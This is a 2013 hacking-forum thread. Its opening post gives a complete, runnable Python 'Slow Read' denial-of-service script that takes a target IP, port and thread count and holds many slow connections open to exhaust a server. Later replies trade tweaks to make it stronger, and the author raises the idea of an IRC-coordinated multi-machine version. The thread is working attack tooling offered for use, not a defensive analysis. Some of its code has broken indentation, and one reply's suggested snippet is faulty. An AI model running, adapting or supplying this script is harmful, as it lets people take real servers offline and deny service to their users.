Hack Forums
[Python] Python DoS Script - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] Python DoS Script (/showthread.php?tid=3810636)

Pages: Pages 1 2


Python DoS Script - _UserName_ - Oct 17, 2013

I have seen lots of DOS Scripts on this forum, but most do not work that well. I have tested this one, and it actually works pretty well with little data traffic. The program works by connecting to its target and sending a request. The program then recieves the response ONE character at a time. To make things even worse for the server it has a delay built into it to take things even longer.
This actually works really well because you do not need high volume of traffic, but with more treads, the stronger it will hit. If you want more information about how it works, I have included it as comments at the top of the code.
You can get my code HERE.
Or here (Must do more formatting than pastebin link):
Code
#!/usr/bin/env python

# Created By _UserName_
#
# Will DOS a target by creating connections to it and slowly recieving data from the site, 1 character at a time.
# This type of attack is called a Slow Read DOS Attack.
# It is better than high volumne DOS attacks because it is quieter, and the more connections (threads) that are made,
# the stronger the attack will be.
#
# More Details:
# Check Out This Site: http://www.darkreading.com/attacks-breaches/new-denial-of-service-attack-cripples-we/232301367

import socket, threading, time

# Message To Send To The WebServer (RANDOM DATA RIGHT NOW)
MESSAGE = "asdfghjkloiuytrewqzxcvbnm\r\n"
# Character To Recieve Per Delay
BUFFER_LENGTH = 1
# Delay To Wait Between Recieves
DELAY = 0
# Number Of Currently Running Threads
runningThreads = 1

##

class DOS(threading.Thread):
    def __init__(self, IP, PORT):
  threading.Thread.__init__(self)
  self.ip = IP
  self.port = PORT
    def run(self):
  slow(self.ip, self.port)

def slow(ip, port):
    try:
  global runningThreads
  runningThreads += 1

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((ip, port))

  s.send(MESSAGE)
  while True:
    data = s.recv(BUFFER_LENGTH)
    if not data:
    break
    time.sleep(DELAY)

  runningThreads -= 1

    except socket.error:
  print 'DOWN'
    except Exception, e:
  print e

##

def main():
    try:
  IP = raw_input("TARGET IP:\n> ")
  PORT = int(raw_input("PORT:\n> "))
  T = int(raw_input("THREADS:\n> "))
    except Exception, e:
  print e
    try:
  for i in range(T):
    threads = DOS(IP, PORT)
    threads.start()

  print '[*] Press CTRL + C To Exit'
  print '[*] Running...'

  while True:
    if(runningThreads < T):
    threads = DOS(IP, PORT)
    threads.start()
    except KeyboardInterrupt:
  threads.join()
    except Exception, e:
  print e

if __name__ == '__main__':
    main()
    raw_input("Press [ENTER] To Exit...")
Please post your feedback and let me know how it works.
Might add code to allow for multiple computers to get there target from an IRC channel or website.




* - _UserName_ - Oct 19, 2013

Almost 70 views and no comments??
(space filler)


* - BeerMonger - Oct 19, 2013

Nice method.. never hear of Slow Read DOS Attack before to be honest!
I'll test it when I'm home!


* - Johndoe27328 - Oct 21, 2013

Made my own custom one after reading about how it works.
For a more random message I used:
Code
msg = ''.join(random.choice(string.ascii_uppercase + string.lowercase + string.digits) for x in range(random.randint(1, 10)))
msg += "\r\n"



* - `P R O D I G Y™ - Oct 21, 2013

Effective on a strong dedi or something :P thx for share


* - _UserName_ - Oct 21, 2013

I could upgrade its capabilities, but I don't want to make the next script kiddy tool like LOIC.


* - Johndoe27328 - Oct 21, 2013

(Oct 21, 2013 01:01 PM)_UserName_ Wrote:  I could upgrade its capabilities, but I don't want to make the next script kiddy tool like LOIC.

As long as it has no gui I don't think they will use it.


* - _UserName_ - Oct 22, 2013

I have update the script a bit.
I added a simple logo, an actual GET request, and a message that displays total elapsed time the program has been running and wether a site is up or down.

You can get the link HERE.

For any possible improvements to be made with this script post in this thread.

If you use any of my programs please reply in the thread. It helps me to know if a project is worth continuing or if it is finished.

I also might create an ebook on creating hacking apps using the standard python library. If anybody thinks it is a good idea let me know via pm, post, etc.


* - urpoer101 - Oct 22, 2013

Really nice looking script. Im also using python in my everyday coding, so this is good tool to my library. I'll test it soon as possible to my box and tell the results.


* - cyberduck - Oct 25, 2013

Nice job! I looked through some of the code and it looks good. I don't actually think you would need that strong of a computer to do damage based on how the DoS script is built. Do you know any C code? If so, I can send you a version of mine that is a little different that might give you a different look at another method!


* - Asp1r3-At0m - Oct 27, 2013

Very nice method man, can I use it on this project? : https://bitbucket.org/Asp1r3_At0m/perezosa


* - _UserName_ - Oct 27, 2013

(Oct 27, 2013 09:40 AM)Asp1r3-At0m Wrote:  Very nice method man, can I use it on this project? : https://bitbucket.org/Asp1r3_At0m/perezosa

Go for it, just keep my name at the top.


* - Asp1r3-At0m - Oct 27, 2013

(Oct 27, 2013 10:38 AM)_UserName_ Wrote:  Go for it, just keep my name at the top.

Thanks a lot !🤝

Obviously, I will put your name there ✌


* - _UserName_ - Oct 27, 2013

(Oct 27, 2013 03:30 PM)Asp1r3-At0m Wrote:  Thanks a lot !🤝

Obviously, I will put your name there ✌

You would be amazed how many people don't give credit to other people.


* - Peredur - Oct 29, 2013

Lovely project, its nice to see people trying to do pretty much everything in Python.
I would suggest you set the message higher, as 99,99% of the servers can handle 4096 bits at a time.
It would be something like this
for i in len(4096):
message +=str(random.randint(1,9))
It won't bring ALOT to the table, but it will increase power a little, especially when its being run on 100mbit/1gbit servers